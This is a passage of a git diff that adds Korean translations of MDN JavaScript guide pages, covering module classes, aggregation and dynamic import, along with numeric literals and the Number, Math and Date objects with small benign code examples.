+Square.reportPerimeter(square1.length, reportList);</pre>
+
+<p>따라서 이제는 이전과 똑같은 코드를 작성할 수 있습니다. (필요한 경우 객체 이름을 포함해야 합니다) import는 보다 깔끔해졌습니다.</p>
+
+<h2 id="Modules_and_classes">Modules and classes</h2>
+
+<p>이전에 암시 했듯이 class를 export하거나 import 할 수도 있습니다. 이것은 코드에서 충돌을 피하기 위한 또 다른 옵션으로, 모듈 코드가 이미 객체 지향 스타일로 작성된 경우에 특히 유용합니다.</p>
+
+<p>우리의 <a href="https://github.com/mdn/js-examples/tree/master/modules/classes">classes</a> 디렉토리에서 ES 클래스로 다시 작성된 도형 그리기 모듈의 예를 볼 수 있습니다. 예를들어 <code><a href="https://github.com/mdn/js-examples/blob/master/modules/classes/modules/square.js">square.js</a></code> 파일에는 모든 기능이 단일 클래스에 포함되어 있습니다.</p>
+
+<pre class="brush: js notranslate">class Square {
+ constructor(ctx, listId, length, x, y, color) {
+ ...
+ }
+
+ draw() {
+ ...
+ }
+
+ ...
+}</pre>
+
+<p>우리는 다음과 같이 export 합니다.</p>
+
+<pre class="brush: js notranslate">export { Square };</pre>
+
+<p><code><a href="https://github.com/mdn/js-examples/blob/master/modules/classes/main.js">main.js</a></code> 에서 우리는 다음과 같이 import 합니다.</p>
+
+<pre class="brush: js notranslate">import { Square } from './modules/square.js';</pre>
+
+<p>그런다음 클래스를 이용하여 사각형을 그립니다.</p>
+
+<pre class="brush: js notranslate">let square1 = new Square(myCanvas.ctx, myCanvas.listId, 50, 50, 100, 'blue');
+square1.draw();
+square1.reportArea();
+square1.reportPerimeter();</pre>
+
+<h2 id="Aggregating_modules">Aggregating modules</h2>
+
+<p>모듈을 모아야 할 때가 있을 것입니다. 여러 서브 모듈을 하나의 부모 모듈로 결합하여 여러 단계의 종속성을 가질 수 있습니다. 상위 모듈에서 다음 양식의 export 구문을 사용하할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">export * from 'x.js'
+export { name } from 'x.js'</pre>
+
+<div class="blockIndicator note">
+<p><strong>주의</strong>: 이것은 실제로 import 의 줄임말이고, 그 뒤에 export가 옵니다. 예를들면, "나는 모듈 <code>x.js</code>를 가져온 다음, 일부 또는 전부를 export 하겠다" 라는 뜻입니다.</p>
+</div>
+
+<p>예를들어 <a href="https://github.com/mdn/js-examples/tree/master/modules/module-aggregation">module-aggregation</a> 디렉토리를 참조하겠습니다. 이 예제에서는 이전 클래스 예제를 기반으로 <code>circle.js</code>, <code>square.js</code>, <code>triangle.js</code> 의 모든 기능을 함께 모으는 <code>shapes.js</code>라는 추가 모듈이 있습니다. 또한 우리는 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">shapes</span></font> <code>모듈</code> 디렉토리 안에 있는 서브 디렉토리 내에서 서브 모듈을 이동 시켰습니다. 이제 모듈 구조는 다음과 같습니다.</p>
+
+<pre class="notranslate">modules/
+ canvas.js
+ shapes.js
+ shapes/
+ circle.js
+ square.js
+ triangle.js</pre>
+
+<p>각 하위 모듈에서 export 형태는 같습니다. 예)</p>
+
+<pre class="brush: js notranslate">export { Square };</pre>
+
+<p>다음은 집합(aggregation) 부분입니다. <code><a href="https://github.com/mdn/js-examples/blob/master/modules/module-aggregation/modules/shapes.js">shapes.js</a></code> 안에는 다음과 같은 내용이 포함되어 있습니다.</p>
+
+<pre class="brush: js notranslate">export { Square } from './shapes/square.js';
+export { Triangle } from './shapes/triangle.js';
+export { Circle } from './shapes/circle.js';</pre>
+
+<p>이 모듈은 각각의 서브 모듈의 export를 가져와서 <code>shapes.js</code> 모듈에서 효과적으로 사용할 수 있도록 합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>주의</strong>: <code>shapes.js</code> 에서 참조되는 export는 기본적으로 파일을 통해 리다이렉트 되고 실제로는 존재하지 않으므로, 같은 파일 내에 유용한 코드를 쓸 수 없습니다.</p>
+</div>
+
+<p>이제 <code>main.js</code> 파일에서 우리는 세 개의 모듈 클래스를 모두 대체할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">import { Square } from './modules/square.js';
+import { Circle } from './modules/circle.js';
+import { Triangle } from './modules/triangle.js';</pre>
+
+<p>다음과 같은 한 줄로 작성할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">import { Square, Circle, Triangle } from '/js-examples/modules/module-aggregation/modules/shapes.js';</pre>
+
+<h2 id="Dynamic_module_loading">Dynamic module loading</h2>
+
+<p>브라우저에서 사용할 수 있는 자바스크립트 모듈 기능의 최신 부분은 동적 모듈 로딩 입니다. 이렇게 하면 모든 것을 최상위에서 불러오지 않고, 필요할 때만 모듈을 동적으로 불러올 수 있습니다. 이것은 몇 가지 분명한 성능 이점이 있습니다. 계속 읽어보고 어떻게 작동하는지 살펴봅시다.</p>
+
+<p>이 새로운 기능을 통해 <code>import()</code> 를 함수로 호출하여 모듈 경로를 매개 변수(parameter)로 전달할 수 있습니다. 모듈 객체({{anch("Creating a module object")}} 참조)를 사용하여 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">promise</a>를 반환하면 해당 객체의 export에 접근할 수 있습니다. </p>
+
+<pre class="brush: js notranslate">import('/modules/myModule.js')
+ .then((module) =&gt; {
+ // Do something with the module.
+ });</pre>
+
+<p>예제를 보겠습니다. In the <a href="https://github.com/mdn/js-examples/tree/master/modules/dynamic-module-imports">dynamic-module-imports</a> 디렉토리에는 classes 예제를 기반으로 한 또 다른 예제가 있습니다. 이번에는 예제가 로딩될 때 캔버스에 아무것도 그리지 않습니다. 대신 우리는 세 개의 버튼("Circle", "Square", "Triangle")이 포함되어 있습니다. 이 버튼을 누르면 필요한 모듈을 동적으로 불러온 다음, 이를 사용하여 연관된 도형을 그립니다.</p>
+
+<p>이 예제에서 우리는 <a href="https://github.com/mdn/js-examples/blob/master/modules/dynamic-module-imports/index.html">index.html</a> 파일과 <a href="https://github.com/mdn/js-examples/blob/master/modules/dynamic-module-imports/main.js">main.js</a> 파일만 변경했습니다. 모듈 export는 이전과 동일하게 유지됩니다.</p>
+
+<p><code>main.js</code> 에서 <code><a href="/en-US/docs/Web/API/Document/querySelector">document.querySelector()</a></code> 를 사용하여 각 버튼에 대한 참조를 가져왔습니다. 예를들면 다음과 같습니다.</p>
+
+<pre class="brush: js notranslate">let squareBtn = document.querySelector('.square');</pre>
+
+<p>그런 다음 각 버튼에 이벤트 리스너를 연결하여 해당 모듈을 누르면, 동적으로 로드되어 도형을 그리는데 사용됩니다.</p>
+
+<pre class="brush: js notranslate">squareBtn.addEventListener('click', () =&gt; {
+ import('/js-examples/modules/dynamic-module-imports/modules/square.js').then((Module) =&gt; {
+ let square1 = new Module.Square(myCanvas.ctx, myCanvas.listId, 50, 50, 100, 'blue');
+ square1.draw();
+ square1.reportArea();
+ square1.reportPerimeter();
+ })
+});</pre>
+
+<p>Note that, promise fulfillment 가 모듈 객체를 반환하기 때문에 클래스는 객체의 하위 기능으로 만들어집니다. 따라서 이제 <code>Module</code> 을 사용하여 생성자(contructor)에 접근해야 합니다. 예를들어 <code>Module.Square( ... )</code> 와 같이 앞에 <code>Module</code>이 붙습니다.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://developers.google.com/web/fundamentals/primers/modules#mjs">Using JavaScript modules on the web</a>, by Addy Osmani and Mathias Bynens</li>
+ <li><a href="https://hacks.mozilla.org/2018/03/es-modules-a-cartoon-deep-dive/">ES modules: A cartoon deep-dive</a>, Hacks blog post by Lin Clark</li>
+ <li><a href="https://hacks.mozilla.org/2015/08/es6-in-depth-modules/">ES6 in Depth: Modules</a>, Hacks blog post by Jason Orendorff</li>
+ <li>Axel Rauschmayer's book <a href="http://exploringjs.com/es6/ch_modules.html">Exploring JS: Modules</a></li>
+</ul>
+
+<p>{{Previous("Web/JavaScript/Guide/Meta_programming")}}</p>
diff --git a/files/ko/web/javascript/guide/numbers_and_dates/index.html b/files/ko/web/javascript/guide/numbers_and_dates/index.html
new file mode 100644
index 0000000000..6a45e1ef7f
--- /dev/null
+++ b/files/ko/web/javascript/guide/numbers_and_dates/index.html
@@ -0,0 +1,384 @@
+---
+title: 숫자와 날짜
+slug: Web/JavaScript/Guide/Numbers_and_dates
+tags:
+ - JavaScript
+translation_of: Web/JavaScript/Guide/Numbers_and_dates
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Expressions_and_Operators", "Web/JavaScript/Guide/Text_formatting")}}</div>
+
+<p><span class="seoSummary">이 장에서는 JavaScript에서 숫자와 날짜를 사용하기 위한 개념과 객체, 함수에 대해 소개합니다.</span> 그리고 숫자를 10진법, 2진법, 16진법 등의 다양한 형태로 표현하는 방법과 더불어 {{jsxref("Math")}} 객체를 사용해 다양한 수학 연산을 수행하는 방법을 알 수 있습니다.</p>
+
+<h2 id="숫자">숫자</h2>
+
+<p>JavaScript에서 모든 숫자는 <a class="external external-icon" href="https://en.wikipedia.org/wiki/Double-precision_floating-point_format">double-precision 64-bit binary format IEEE 754</a> (즉, ±2<sup>−1022</sup> 과 ±2<sup>+1023</sup> 또는 대략 ±10<sup>−308</sup> to ±10<sup>+308</sup> 사이의 숫자이며 53bits의 수치정밀도 )로 구현되어 있습니다. ± 2<sup>53</sup> - 1까지의 정수 값을 정확하게 나타낼 수 있습니다.</p>
+
+<p>여기 부동 소수점 숫자를 나타낼 수 있으며, 숫자 형식은 세 개의 상징적인 값: <code>+</code>{{jsxref("Infinity")}}, <code>-</code>{{jsxref("Infinity")}}, and {{jsxref("NaN")}} (숫자가 아닌 값)을 갖습니다.</p>
+
+<p>JavaScript에 최근 추가 된 것은 {{jsxref ( "BigInt")}}로, 매우 큰 정수를 나타낼 수 있습니다. <code>BigInt</code>를사용할땐 다음을 주의해야 합니다. 예를 들면, <code>BigInt</code>와 {{jsxref ( "Number")}} 값을 같은 연산으로 혼합하고 일치시킬 수는 없으며 {{jsxref ( "Math")}} 객체를 <code>BigInt</code>값과 함께 사용할 수 없습니다.</p>
+
+<p>JavaScript에서 다른 기본형과 문맥에 대한 내용은 <a href="/en-US/docs/Web/JavaScript/Data_structures">JavaScript data types and structures</a>를 참조하세요.</p>
+
+<p>여러분은 숫자 리터럴의 네 가지 유형을 사용할 수 있습니다: 10진수, 2진수, 8진수, 16진수</p>
+
+<h3 id="10진수">10진수</h3>
+
+<pre class="brush: js notranslate">1234567890
+42
+
+// 앞에 0이 붙은 숫자를 조심하세요:
+
+0888 // 10진수 888로 해석됩니다.
+0777 // non-strict mode에서 10진수 511로 해석됩니다.
+</pre>
+
+<p>10진수 리터럴도 영(<code>0</code>)으로 시작될 수 있다는 점에 유의하세요. 그러나 만약 영<code>0</code> 다음 숫자가 8보다 작으면, 그 숫자는 8진법으로 해석됩니다.</p>
+
+<h3 id="2진수">2진수</h3>
+
+<p>2진수 구문은 앞에 오는 0과 소문자 또는 대문자 라틴 문자 "B"(0B 또는 0b)를 사용합니다. 0b 다음의 숫자가 0 또는 1이 아니면 다음의 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError">SyntaxError</a>가 발생합니다. "0b 이후에 누락 된 2 진수"("Missing binary digits after 0b")입니다.</p>
+
+<pre class="brush: js notranslate">var FLT_SIGNBIT = 0b10000000000000000000000000000000; // 2147483648
+var FLT_EXPONENT = 0b01111111100000000000000000000000; // 2139095040
+var FLT_MANTISSA = 0B00000000011111111111111111111111; // 8388607</pre>
+
+<h3 id="8진수">8진수</h3>
+
+<p>8 진수 구문은 앞에 0을 사용합니다. <code>0</code> 이후의 숫자가 0에서 7까지 범위 밖에 있는 경우, 숫자는 10진수로 해석됩니다.</p>
+
+<pre class="brush: js notranslate">var n = 0755; // 493
+var m = 0644; // 420
+</pre>
+
+<p>ECMAScript 5의 Strict 모드는 8 진수 구문을 금지합니다. 8 진수 구문은 ECMAScript 5의 일부가 아니지만, <code>0644 === 420</code> 및 <code>"\ 045"=== "%"</code>의 8 진수에 접두사를 붙이면 모든 브라우저에서 지원됩니다. ECMAScript 2015에서는 접두어가 <code>0o</code>인 경우 8 진수가 지원됩니다 (예 :</p>
+
+<pre class="notranslate"><code>var a = 0o10; // ES2015: 8</code></pre>
+
+<h3 id="16진수">16진수</h3>
+
+<p>16진수 구문은 앞에 0 다음에 소문자나 대문자 라틴어 문자 "X"(<code>0x</code> 또는 <code>0X</code>)를 사용합니다. 0X 이후 숫자가 범위(0123456789ABCDEF) 밖에 있는 경우, 다음 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError">SyntaxError</a>가 발생합니다: "식별자는 숫자 리터럴 후 즉시 시작됩니다".</p>
+
+<pre class="brush: js notranslate">0xFFFFFFFFFFFFFFFFF // 295147905179352830000
+0x123456789ABCDEF // 81985529216486900
+0XA // 10
+</pre>
+
+<h3 id="지수_계산">지수 계산</h3>
+
+<pre class="notranslate"><code>1E3 // 1000
+2e6 // 2000000
+0.1e2 // 10</code>
+</pre>
+
+<h2 id="Number_객체"><code>Number</code> 객체</h2>
+
+<p>{{jsxref("Number")}} 내장객체는 최대값, not-a-number, 무한대와 같은 숫자 상수를 위한 속성들이 있습니다. 여러분은 이러한 속성의 값을 변경 할 수 없고 다음과 같이 사용합니다:</p>
+
+<pre class="brush: js notranslate">var biggestNum = Number.MAX_VALUE;
+var smallestNum = Number.MIN_VALUE;
+var infiniteNum = Number.POSITIVE_INFINITY;
+var negInfiniteNum = Number.NEGATIVE_INFINITY;
+var notANum = Number.NaN;
+</pre>
+
+<p>여러분은 직접 생성한 <code>Number</code> 객체의 속성이 아닌, 위와같이 항상 미리 정의된 <code>Number</code> 객체의 속성을 참조해야합니다.</p>
+
+<p>다음 표에서는 <code>Number</code> 객체의 속성이 요약되어 있습니다.</p>
+
+<table class="standard-table">
+ <caption><code>Number</code> 속성들</caption>
+ <thead>
+ <tr>
+ <th scope="col">특성</th>
+ <th scope="col">묘사</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{jsxref("Number.MAX_VALUE")}}</td>
+ <td>표현가능한 가장 큰 수 (<code>±1.7976931348623157e+308</code>)</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Number.MIN_VALUE")}}</td>
+ <td>표현가능한 가장 작은 수(<code>±5e-324</code>)</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Number.NaN")}}</td>
+ <td>"숫자가 아닌" 특수값</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Number.NEGATIVE_INFINITY")}}</td>
+ <td>음의 무한대값; 오버 플로로 반환됨.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Number.POSITIVE_INFINITY")}}</td>
+ <td>양의 무한대 값; 오버 플로로 반환됨.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Number.EPSILON")}}</td>
+ <td>표현가능한 매우 작은 값{{jsxref("Number")}}.(<code>2.220446049250313e-16</code>)</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Number.MIN_SAFE_INTEGER")}}</td>
+ <td>자바스크립트에서 안전한 최소의 정수.(−2<sup>53</sup> + 1, or <code>−9007199254740991</code>)</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Number.MAX_SAFE_INTEGER")}}</td>
+ <td>자바스크립트에서 안전한 최대의 정수.(+2<sup>53</sup> − 1, or <code>+9007199254740991</code>)</td>
+ </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption><code>Number</code> 메소드들</caption>
+ <thead>
+ <tr>
+ <th>방법</th>
+ <th>묘사</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{jsxref("Number.parseFloat()")}}</td>
+ <td>
+ <p>문자열 인수를 파싱하고 부동 소수점 숫자를 반환합니다. 전역 {{jsxref("parseFloat", "parseFloat()")}} 함수와 동일합니다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Number.parseInt()")}}</td>
+ <td>문자열 라인 인수를 파싱해, 지정된 기수 또는 밑줄의 정수를 돌려줍니다. 전역 {{jsxref("parseInt", "parseInt()")}}함수와 동일합니다.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Number.isFinite()")}}</td>
+ <td>전달된 값이 유한한 수인지 판정합니다.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Number.isInteger()")}}</td>
+ <td>전달된 값이 정수인지 판정합니다.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Number.isNaN()")}}</td>
+ <td>이 전달된 값 {{jsxref("Global_Objects/NaN", "Not-a-Number")}}여부를 확인합니다. 원본 글로벌 {{jsxref("Global_Objects/isNaN", "(isNaN)")}}의 더욱 강력한 버전입니다.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Number.isSafeInteger()")}}</td>
+ <td>제공된 값이 안전한 정수인지 여부를 확인합니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p><code>Number</code> 프로토 타입은 다양한 형식의 <code>Number</code> 객체에서 정보를 검색하는 메소드를 제공합니다. 다음 표는 <code>Number.prototype</code>의 메소드를 요약 한 것입니다.</p>
+
+<table class="standard-table">
+ <caption><code>Number.prototype</code>의 방법</caption>
+ <thead>
+ <tr>
+ <th scope="col">방법</th>
+ <th scope="col">Description</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{jsxref("Number.toExponential", "toExponential()")}}</td>
+ <td>지수표기법 안에서 번호를 나타내는 문자열을 반환합니다.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Number.toFixed", "toFixed()")}}</td>
+ <td>문자열 고정 소수 점 표기법의 수를 나타내는 문자열을 반환합니다.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Number.toPrecision", "toPrecision()")}}</td>
+ <td>지정된 정밀에 고정 소수 점 표기법의 수를 나타내는 문자열을 반환합니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Math_객체"><code>Math</code> 객체</h2>
+
+<p>내장 {{jsxref ( "Math")}} 객체는 수학 상수 및 함수에 대한 속성 및 메서드를 포함합니다. 예를 들어, <code>Math</code> 객체의 <code>PI</code> 속성에는 pi (3.141 ...) 값이 있습니다.이 값은 응용 프로그램에서 다음과 같이 사용합니다.</p>
+
+<pre class="brush: js notranslate">Math.PI
+</pre>
+
+<p>마찬가지로 표준 수학 함수도 <code>Math</code>의 함수입니다. 여기에는 삼각 함수, 로그 함수, 지수 함수 및 기타 함수가 포함됩니다. 예를 들어 삼각 함수 sine을 사용하려면 다음과 같이 작성합니다.</p>
+
+<pre class="brush: js notranslate">Math.sin(1.56)
+</pre>
+
+<p><code>Math</code>의 모든 삼각 함수에는 라디안으로 매게변수를 입력해야 합니다.</p>
+
+<p>다음 표에서는 <code>Math</code> 개체의 방법을 요약하였습니다.</p>
+
+<table class="standard-table">
+ <caption><code>Math</code>의 메소드들</caption>
+ <thead>
+ <tr>
+ <th scope="col">방법</th>
+ <th scope="col">묘사</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{jsxref("Math.abs", "abs()")}}</td>
+ <td>절대 값</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Math.sin", "sin()")}}, {{jsxref("Math.cos", "cos()")}}, {{jsxref("Math.tan", "tan()")}}</td>
+ <td>표준 삼각 함수; 라디안에서의 인수</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Math.asin", "asin()")}}, {{jsxref("Math.acos", "acos()")}}, {{jsxref("Math.atan", "atan()")}}, {{jsxref("Math.atan2", "atan2()")}}</td>
+ <td>역삼각 함수; 라디안에 반환 값</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Math.sinh", "sinh()")}}, {{jsxref("Math.cosh", "cosh()")}}, {{jsxref("Math.tanh", "tanh()")}}</td>
+ <td>쌍곡삼각함수; 라디안에 반환 값.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Math.asinh", "asinh()")}}, {{jsxref("Math.acosh", "acosh()")}}, {{jsxref("Math.atanh", "atanh()")}}</td>
+ <td>역쌍곡삼각함수; 라디안에 반환 값.</td>
+ </tr>
+ <tr>
+ <td>
+ <p>{{jsxref("Math.pow", "pow()")}}, {{jsxref("Math.exp", "exp()")}}, {{jsxref("Math.expm1", "expm1()")}}, {{jsxref("Math.log10", "log10()")}}, {{jsxref("Math.log1p", "log1p()")}}, {{jsxref("Math.log2", "log2()")}}</p>
+ </td>
+ <td>지수와 로그 기능.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Math.floor", "floor()")}}, {{jsxref("Math.ceil", "ceil()")}}</td>
+ <td> 가장큰/가장작은 정수 보다 적은/많은 또는 그와 동등한 원칙으로 반환해라.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Math.min", "min()")}}, {{jsxref("Math.max", "max()")}}</td>
+ <td>더적거나 더많은 쉼표의 (각각) 숫자 인수의 나뉜목록으로 반환해라.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Math.random", "random()")}}</td>
+ <td>0과 1사이의 난수를 반환해라.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Math.round", "round()")}}, {{jsxref("Math.fround", "fround()")}}, {{jsxref("Math.trunc", "trunc()")}},</td>
+ <td>반올림과 절단 기능들.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Math.sqrt", "sqrt()")}}, {{jsxref("Math.cbrt", "cbrt()")}}, {{jsxref("Math.hypot", "hypot()")}}</td>
+ <td>제곱 근, 세 제곱 근, 평방 인수의 합의 제곱 근.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Math.sign", "sign()")}}</td>
+ <td>그 수가 양수인지 음수인지 0인지를 가르키는 숫자의 표시.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Math.clz32", "clz32()")}},<br>
+ {{jsxref("Math.imul", "imul()")}}</td>
+ <td>32비트 이진 표시의 주요 제로 비트 수.<br>
+ 그 두 인수의 C-like 32비트 곱셈의 결과.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>다른 많은 객체와 달리 자신의 <code>Math</code> 개체를 만들필요가 없습니다. 언제든 내장 된 <code>Math</code> 객체 바로 사용할 수 있습니다.</p>
+
+<h2 id="Date_객체"><code><font face="Consolas, Monaco, Andale Mono, monospace">Date</font></code><font face="Consolas, Monaco, Andale Mono, monospace"> 객체</font></h2>
+
+<p>자바스크립트에는 날짜 데이터 타입이 없습니다. 그러나, {{jsxref ( "Date")}} 객체와 그 메소드를 사용하여 응용 프로그램에서 날짜와 시간을 처리 할 수 ​​있습니다. <code>Date</code> 객체에는 날짜 설정, 가져 오기 및 조작을위한 많은 메소드가 있습니다. 속성(properties)이 없습니다.</p>
+
+<p>자바스크립트는 자바와 비슷하게 날짜를 처리합니다. 두 언어에는 동일한 날짜 메소드가 많으며 두 언어 모두 1970 년 1 월 1 일 00:00:00 이후의 밀리 초 수로 날짜를 저장합니다. 유닉스 타임 스탬프는 1970 년 1 월 1 일 00:00:00 이후의 초 수입니다.</p>
+
+<p>Date 개체 범위는 UTC 1970 년 1 월 1 일을 기준으로 -100,000,000 일에서 100,000,000 일입니다.</p>
+
+<p>Date 객체를 만들려면 :</p>
+
+<pre class="brush: js notranslate">var dateObjectName = new Date([parameters]);
+</pre>
+
+<p>여기서 <code>dateObjectName</code>은 만들려는 <code>Date</code> 객체의 이름입니다. 새로운 객체 또는 기존 객체의 속성 일 수 있습니다.</p>
+
+<p><code>new</code> 키워드없이 <code>Date</code>를 호출하면 현재 날짜와 시간을 나타내는 문자열이 반환됩니다.</p>
+
+<p>앞 구문에서 <code>parameters</code>는 아래 규칙을 따릅니다.</p>
+
+<ul>
+ <li>아무것도없을때: 오늘의 날짜와 시간을 만듭니다. 예를 들어, <code>today = new Date();</code>.</li>
+ <li>날짜를 나타내는 문자열의 형식: "Month day, year hours:minutes:seconds."예를 들어, <code>var Xmas95 = new Date("December 25, 1995 13:30:00")</code>.만약 당신이 시간, 분, 또는 초를 빠뜨린다면, 값은 0이 됩니다.</li>
+ <li>정수 값의 연도, 월, 날의 집합입니다. 예를 들어, <code>var Xmas95 = new Date(1995, 11, 25)</code>.</li>
+ <li>연도, 월, 일, 시, 분,초 동안 정수 값의 집합입니다.. 예를 들어, <code>var Xmas95 = new Date(1995, 11, 25, 9, 30, 0);</code>.</li>
+</ul>
+
+<h3 id="Data_개체의_표현_방법"><code>Data</code> 개체의 표현 방법</h3>
+
+<p>날짜와 시간을 조절하는 <code>Date</code>객체표현 방법은 아래 종류로 나뉩니다:</p>
+
+<ul>
+ <li>"set" 함수, 날짜 개체 안에서의 날짜 및 시간 값을 설정합니다.</li>
+ <li>"get" 함수, 날짜 개체 안에서의 날짜 및 시간 값을 얻습니다.</li>
+ <li>"to" 함수, 날짜 개체로부터 문자열 값을 반환합니다.</li>
+ <li><code>Date</code> 문자열을 분석하기위해 parse와 UTC함수를 사용합니다.</li>
+</ul>
+
+<p>"get"및 "set"메소드를 사용하여 초, 분,시, 일, 요일, 월 및 연도를 별도로 가져 와서 설정할 수 있습니다. 요일이 자동적으로 설정되기 (위해) 때문에, 요일을 돌려주는 getDay 메소드가 있습니다만, 대응하는 setDay 메소드는 없습니다. 이러한 메서드는 정수를 사용하여 다음과 같이 값을 나타냅니다.</p>
+
+<ul>
+ <li>초와 분: 0 to 59</li>
+ <li>시간: 0 to 23</li>
+ <li>요일: 0 (Sunday) to 6 (Saturday)</li>
+ <li>날짜: 1 to 31 (day of the month)</li>
+ <li>월: 0 (January) to 11 (December)</li>
+ <li>연도: years since 1900</li>
+</ul>
+
+<p>예를 들어, 아래와 같이 값들을 정의해봅시다 :</p>
+
+<pre class="brush: js notranslate">var Xmas95 = new Date("December 25, 1995");
+</pre>
+
+<p>그러면 <code>Xmas95.getMonth()</code>는 11을 반환합니다, 그리고 <code>Xmas95.getFullYear()</code>는 1995를 반환합니다.</p>
+
+<p><code>getTime</code>과 <code>setTime</code>방법들은 날짜를 나눌때 유용합니다. <code>getTime</code>함수는 <code>Date</code>객체에 대해 1970년 1월 1일 00:00시부터 밀리초단위로 리턴합니다.</p>
+
+<p>예를 들어, 다음 코드는 현재 년도에 남아 수를 표시합니다:</p>
+
+<pre class="brush: js notranslate">var today = new Date();
+var endYear = new Date(1995, 11, 31, 23, 59, 59, 999); // Set day and month
+endYear.setFullYear(today.getFullYear()); // Set year to this year
+var msPerDay = 24 * 60 * 60 * 1000; // Number of milliseconds per day
+var daysLeft = (endYear.getTime() - today.getTime()) / msPerDay;
+var daysLeft = Math.round(daysLeft); //returns days left in the year
+</pre>
+
+<p>이 예제에는 오늘 날짜가 포함된 <code>today</code>라는 명칭을 가진 <code>Date</code>객체를 만듭니다. 그리고 나서 <code>endYear</code>라는 <code>Date</code>객체를 만들고 현재연도를 설정합니다. 그런 다음 하루에 밀리 초 수를 사용하여 <code>getTime</code>을 사용하고 전체 일 수를 반올림하여 <code>today</code>와 <code>endYear</code> 사이의 일 수를 계산합니다.</p>
+
+<p><code>Parse</code> 함수는 날짜문자열부터 기존의 <code>Date</code>객체까지의 값을 할당하기에 유용합니다. 예를 들어, 다음 코드는 그 <code>IPOdate</code> 객체에 날짜값을 할당하기위해 <code>parse</code>와 <code>setTime</code>을 사용합니다;</p>
+
+<pre class="brush: js notranslate">var IPOdate = new Date();
+IPOdate.setTime(Date.parse("Aug 9, 1995"));
+</pre>
+
+<h3 id="예제">예제</h3>
+
+<p>다음 예제 에서 <code>JSClock()</code>는 digital 시계형식의 시간을 반환합니다.</p>
+
+<pre class="brush: js notranslate">function JSClock() {
+ var time = new Date();
+ var hour = time.getHours();
+ var minute = time.getMinutes();
+ var second = time.getSeconds();
+ var temp = "" + ((hour &gt; 12) ? hour - 12 : hour);
+ if (hour == 0)
+ temp = "12";
+ temp += ((minute &lt; 10) ? ":0" : ":") + minute;
+ temp += ((second &lt; 10) ? ":0" : ":") + second;
+ temp += (hour &gt;= 12) ? " P.M." : " A.M.";
+ return temp;
+}
+</pre>
+
+<p><code>JSClock</code> 함수는 먼저 time이라는 새 <code>Date</code> 객체를 만듭니다. 인수가 없으므로 현재 날짜와 시간으로 시간이 생성됩니다. 그런 다음 <code>getHours</code>, <code>getMinutes</code> 및 <code>getSeconds</code> 메소드를 호출하면 현재 시간, 분 및 초 값이<code>hour</code>, <code>minute</code>, <code>second</code>로 할당됩니다.</p>
+
+<p>다음 네 문장은 시간을 기준으로 문자열 값을 만듭니다. 첫 번째 명령문은 변수 temp를 작성하고 조건식을 사용하여 값을 할당합니다. hour가 12보다 큰 경우 (hour - 12), 그렇지 않은 경우 시간이 0이 아닌 경우 시간이 12 일 경우 시간이 12가됩니다.</p>
+
+<p>다음 명령문은 <code>temp</code> 값에 <code>minute</code> 값을 추가합니다. 분(<code>minute</code>)의 값이 10보다 작 으면 조건식은 앞에 0이 있는 문자열을 추가합니다. 그렇지 않으면 콜론을 구분하는 문자열을 추가합니다. 그런 다음 같은 방법으로 temp에 초 값을 추가합니다.</p>
+
+<p>마지막으로 조건부 표현식에 "P.M."이 추가됩니다. 시간(<code>hour</code>)이 12 시간 이상이면 임시(<code>temp</code>)로; 그렇지 않으면 "A.M."을 <code>temp</code>에 추가합니다.</p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Expressions_and_Operators", "Web/JavaScript/Guide/Text_formatting")}}</p>
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/about/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/about/index.html
new file mode 100644
index 0000000000..05deb2017f
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/about/index.html
@@ -0,0 +1,109 @@
+---
+title: About
